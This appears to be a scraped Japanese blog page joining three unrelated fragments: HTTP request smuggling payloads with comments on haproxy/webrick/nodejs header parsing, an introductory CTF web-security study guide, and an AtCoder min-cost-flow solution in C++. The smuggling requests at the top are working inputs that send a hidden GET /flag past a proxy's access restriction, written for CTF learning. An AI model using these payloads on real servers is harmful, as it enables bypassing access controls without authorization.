Transfer-Encoding: AAA chunked BBB // haproxyはフォーマット違反なので無視, webrickはchunkedとして解釈する
Connection: keep-alive
Content-Length: 50 // haproxyはこちらを優先するから/flagまで送る, webrinkではchunkとされているのでこちらは無視

1
A
0

GET /flag HTTP/1.1 // webrinkではchunkとなっているのでこちらは別リクエストとして解釈して別途応答してしまう。
Host: 127.0.0.1    // この応答はhaproxyが介入していないので、haproxyでアクセス制限をかけていてもバイパスできる


POST / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: chunked // nodejsはこのTEしか認識しない
Transfer-Encoding: chunked-false // nodejsはこれを無視してchunkedで動く。haproxyはこれのせいでchunkedにならないから全体を送ってしまう？

1
A
0

GET /flag HTTP/1.1
Host: 127.0.0.1
foo: x

HTTP Response Splitting

HTTP/2

CTFにおけるWebセキュリティ入門とまとめ

Security

この記事はCTFのWebセキュリティ Advent Calendar 2021の1日目の記事です。

はじめに

CTFのWeb問題を細々と解いていたが、そろそろ解説で意味が分からないことも少なくなってきたので、
Web問題についての情報まとめをアドベントカレンダーで一斉放出することにした。
いつもブログを見てくださっている人には分かるかもしれないが、いつものようにキーワードを並べたようなまとめである。
なので、手取り足取り教えると言ったものではなく、学習ガイドとして活用してほしい。

CTF入門

CTFとは何なのか

CTFとはセキュリティ的な問題を解く競技のことであり、色々なジャンルに分かれている。
全体的な話は他の記事に譲るとして、Web問題に絞って話すことにしよう。
大体のCTFは一問一答の形をとっており、とあるWebシステムが与えられて、そのシステムに含まれている「お宝」を探すのが目的である。
このお宝をFlagと呼んでおり、一般的にはハッカーがWebシステムを攻撃して手に入れたい情報という風に解釈されている。
例えば、Cookieの情報や不正ログイン後に得られる情報、場合によってはシステム自体を乗っ取れば得られる情報もあったりする。
こういった攻撃を通して攻撃者の思想や技術を学ぶことで防御に役立てる。これがCTFの本分である。
（単にハッキングの美学に触れるためでもあるが）

重要なこと

重要なことは、CTFでしか攻撃をしてはいけないということである。
実際のサービスに興味本位であっても（仮に善意があっても）攻撃を仕掛けるのは犯罪である。
今回のまとめで紹介することは現実のセキュリティについても参考にはなるが、CTF以外での知識の利用は推奨しない。

初学者に向けて

現状、Web問題に対する入門方法は確立されていないように思う。
確実性のある最短ルートは示せないが、道筋とそこで学べることはいくつか示せるので、それを紹介しよう。

  1. 徳丸本
    • Webセキュリティを網羅的に日本語で書いてある本はこれくらいしか無い。2021年時点全く色褪せない
    • 徳丸本を読んでからCTFのWeb問題に取り組むと、CTFに慣れるまでが大変ではあるが、2ステップ目くらいからは背景知識があるので比較的楽に進めるかと思う
    • あと、知識が無いゆえによく分からないということも減るだろう
  2. セキュリティコンテスト本を読む
  3. Web Security Academy: Free Online Training from PortSwigger
    • Web問を解く場合はBurp Suiteというツールを使っている人が多く、そのツールを出している会社が用意している学習リソース
    • 全英語なのでそこは頑張る必要があるが、解説もあってある程度の道筋も示していて、実践的な攻撃が学べるだろう

…と色々書いたが、トライアンドエラーで試行錯誤していく他無いのが現状ではないだろうか。
CTFは毎週何かしらやっている。
CTFtimeというサイトでActiveなCTFが見られるので、そこで毎週出てみよう。
大会開催後は有志による解説、CTF用語で言う所のWriteupが公開されるので、解けなかった問題を復習していく。
Writeupが公式から提供される確証は無いので、なるべく参加人数が多いCTFに出ると復習できる可能性が上がるだろう。
YouTubeで動画形式で上げてくれている人もいるので、理論だけでなく実践的なやり方をこれで学ぶこともできる。

結局はたたき上げである。

Web問への取り組み方

ここからは入門者が知識として得づらい部分や話しておくべきこと、暗黙知的なことをつらつら書いていくことにする。

  • フラグってどこにあるの？
    • 攻撃可能な手法に対応しておかれやすい場所があったりするが、基本的に頑張って場所込みで探す必要がある
    • RCE可能であれば~/flag.txtとか/flag.txtを読みだすし、XSS可能なら被害者のCookieを抜き出せばいいし、という感じで結構まちまち。何個か問題をこなしていけば場所については慣れてくる
  • 自動スキャンツール、自動攻撃ツールは使用してはならない
    • CTFは脆弱性診断ではないので、自動化ツールは使ってはならないと肝に銘じておこう。運営者に迷惑が掛かる
    • たまーに、ディレクトリスキャニングを使ってほしいという問題もあるが、その場合は使っていいよと問題か全体ルールに書いてある。明記されてない限り使ってはいけない
    • とは言っても自分でpythonツールを書いてリクエストを送りまくって情報を抜き出したりすることが想定解である問題もあり、ややグレー。自分はそういった解法の場合は運営側に気を使ってウェイトを入れるようにしている
  • 攻撃者目線で問題を解く
    • Guess問と揶揄される問題があり、Webの内部構成を推測したり、システム上の不備を推測して解くような問題である
    • かなり無茶な推測を要求する場合は批判されたりもするが、ある程度の推測は現実に寄っている感じもあって、自分は歓迎できる
    • 例えば初手で/robots.txtを見るというのもあるが、これも攻撃者視点から来ている（要出展）
  • Try Harder
    • Try HarderはOffensive Security社の家訓であるが、セキュリティの特にコンテスト界隈でよく見かける。単純にもっと頑張れという意味
    • CTFのWeb問題ではプログラミング言語の細かな仕様を突いて解くような調査力が要求される問題も多く出題される。なので、調査が前提というか、ここは攻撃できそうというセンスをもとに調査をして、言ってしまえばTry Harderで解法までたどり着くということが多々ある
    • ググラビティも重要な要素であり、臭い部分を見つけるのがセンスと経験である
  • かなり広い知識が要求される…が、ググラビティでカバーできる
    • 知らない分野は仕方がないので、なるべくキーワードというか概念をつかんでおくことが重要なように思う
    • C#でXMLを扱っている所があれば「C# XXE」でググってみるとかそういったキーワードを元に調べることができるようになると、解ける問題が広がっていくだろう
    • 強い人たちは公式ドキュメントを読んだり、無茶苦茶ググってる印象あります
  • 今はWeb問題は復習ができる
    • 常設のCTFでなくても、最近のCTFではコンテスト後にWeb問題の内容をdockerなどですぐに立ち上げられるようにして公開してくれていたりする
    • なので、githubとかでCTFのタイトルをググったりするとレポジトリが見つかって実際にシステムに対して復習ができる
    • SECCONとかでも過去問があったはず。使えるのでやってみるといい

より強くなるために

もう頑張るしかないし、正直自分もそんなに強くない。
Web問題では要求知識が多いにも関わらず、最新のWeb関連技術を絡めてきたり、ライブラリのゼロデイを出して来たりと最悪な感じなので、頑張ってとしか言いようがない。
だが、基本的な概念はそれほど変わっておらず、未だに徳丸本が第一線であるように、移り変わりが激しいWebであっても根本的な考え方はそれほど変化していない。
（しかも、最近はWebの変化が鈍化しているような…？自分のセンサーが衰えただけか？）
なので、これから出すまとめ記事から概念やキーワードを拾うことで、体系的な知識を身に着けてほしい。

これだけ学習したにもかかわらず、全然勝てないのでCTFは難しいですね…

まとめ

終わりに

さて、アドベントカレンダーとしてはこれからまとめ記事を書いていく。全く初心者向けではないので、単語をもとに調べて理解する必要がある。
いつものようにまとめているだけなので、それ以降は頑張ってくださいといういつもの感じです。
こういったキーワード集があることで、学習の指針になったり、単に知らないということだけで学習が止まってしまわないようになることを祈る。

Happy Wedding! [第八回 アルゴリズム実技検定 K]

競技プログラミング

https://atcoder.jp/contests/past202109-open/tasks/past202109_k

前提知識

解説

https://atcoder.jp/contests/past202109-open/submissions/26707534

慣れていると、この問題がかなりフロー系で解けるのではないかという感じに思えてくる。
理由としてははっきり言えないのだが、

  • ペアを作る、マッチングをするような問題である
  • 総和の最大値を求める
  • 結構微妙な制約

みたいな所からフロー感が漂う。
コストが含まれるので最小費用流で考えていくと解ける。

なお、今回の問題はよりストレートに重み付き二部グラフ上での最大マッチングとして定式化できる。
やってることは変わらないような気もするが、自分は最小費用流の延長戦上として解いた。

最小費用流

もし、最小費用流について知らない場合はどこかで調べてこよう。
最小費用流は名の通り最小値を求めるアルゴリズムであるので、入門としては最小値を求めるような問題がいいだろう。
他の問題を入門として選ぶことを勧める。

さて、理解はできているものとして話を進めていこう。

「選択」を分岐で表現する

さて、選択を作っていく。
グラフは

  • 始点と終点
  • オスpを表す頂点
  • メスqを表す頂点

のP+Q+2頂点を用意しよう。
ここでオスpとメスqがつがいになる場合は、

始点→オスp→メスq→終点

の経路で流量1だけ流れるという風に定義しよう。

(流量,コスト)
始点-(1,0)→オスp-(1,A[p]+C[q])→メスq-(1,0)→終点

という感じである。
逆につがいにならなかった場合は、その2匹間に流れないので、

始点-(1,B[p]+D[q])→終点

ということになる。これをすべてのペアについて作っていけばいいのだが、そうすると、
始点と終点の間に複数の辺で複数のコストのものが出来上がってしまう。
これでは、うまく選択されていないペアの所に流量を流すことができなくなってしまう。
ここで1工夫加えよう。

全部選択してないことをベースに考える。

選択によって幸福度を変化させるのではなく、すべてのオスとメスは最初は含まれない状態から始めて、
つがいを作ると、そのオスとメスの幸福度が変化するという風に考えることにしよう。

より具体的には、最初は幸福度はBの総和とDの総和ということにしておく。
そして、オスpとメスqがつがいになったとしたら、幸福度が+(A[p] - B[p] + C[q] - D[q])されるということにしておく。
こうすることで選択としては、つがいにならないなら幸福度は+0だし、
つがいになったら+(A[p] - B[p] + C[q] - D[q])されることになる。

フローとして考えると、オスpとメスqがつがいになるなら

始点-(1,0)→オスp-(1,(A[p] - B[p] + C[q] - D[q]))→メスq-(1,0)→終点

であり、つがいにならなかった場合は、

始点-(1,0)→終点

のようにする。こうすれば始点と終点の間の辺はすべて同じになるので1つにまとめることができるようになる。

まとめると

さて、まとめるとフローは以下のようになる

  • 始点から各オスpについて (1,0) の辺を張る
  • 各オスpから各メスqについて (1,A[p] - B[p] + C[q] - D[q]) の辺を張る
  • 各メスqから終点について (1,0) の辺を張る
  • 始点から終点について (min(P,Q), 0) の辺を張る

min(P,Q)と書いているのはペアが作れるのは最大min(P,Q)組だけだからである。
これで最大費用流みたいな感じで流量min(P,Q)を流せば、(Bの総和)+(Dの総和)+(最大費用)が答えになる。
ここまで理解できていればほぼほぼ答え。

最小費用流ですよ…

最大ではなく最小なので、コストを逆転させて負の数にすることで最大値を負の数にしたものを答えとして
出させるようにする。

  • 始点から各オスpについて (1,0) の辺を張る
  • 各オスpから各メスqについて (1,-(A[p] - B[p] + C[q] - D[q])) の辺を張る
  • 各メスqから終点について (1,0) の辺を張る
  • 始点から終点について (min(P,Q), 0) の辺を張る

最小費用流をして流量min(P,Q)を流せば、(Bの総和)+(Dの総和)-(最小費用)が答えになる。
最小費用流はコストが正になる必要があるので、これもちょっとだめで、下駄をはかせる必要がある。
MAXを2*109くらいに設定しておいて、つがいを作った場合とそうでない場合についてMAX分だけ
コストに下駄をはかせることにする。つまり…

  • 始点から各オスpについて (1,0) の辺を張る
  • 各オスpから各メスqについて (1,MAX-(A[p] - B[p] + C[q] - D[q])) の辺を張る
  • 各メスqから終点について (1,0) の辺を張る
  • 始点から終点について (min(P,Q), MAX) の辺を張る

こんな感じにする。
最小費用流をして流量min(P,Q)を流せば、(Bの総和)+(Dの総和)+MAX×min(P,Q)-(最小費用)が答えになる。
このように下駄を履かせた分だけ引けば全体を正のまま保ちつつ正答が得られる。

int P, Q;
string S[101];
ll A[101], B[101], C[101], D[101];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> P >> Q;
    rep(p, 0, P) cin >> S[p];
    rep(p, 0, P) cin >> A[p] >> B[p];
    rep(q, 0, Q) cin >> C[q] >> D[q];

    atcoder::mcf_graph<int, ll> mcf(P + Q + 2);
    int st = P + Q;
    int gl = st + 1;
    int maxflow = min(P, Q);

    ll MAX = inf * 2;
    rep(p, 0, P) mcf.add_edge(st, p, 1, 0);
    rep(p, 0, P) rep(q, 0, Q) if (S[p][q] == '1') mcf.add_edge(p, P + q, 1, MAX-(A[p] - B[p] + C[q] - D[q]));
    rep(q, 0, Q) mcf.add_edge(P + q, gl, 1, 0);
    mcf.add_edge(st, gl, maxflow, MAX-0);

    int _; ll cost;
    tie(_, cost) = mcf.flow(st, gl, maxflow);

    ll ans = 0;
    rep(p, 0, P) ans += B[p];
    rep(q, 0, Q) ans += D[q];
    ans += MAX * maxflow - cost;
    cout << ans << endl;
}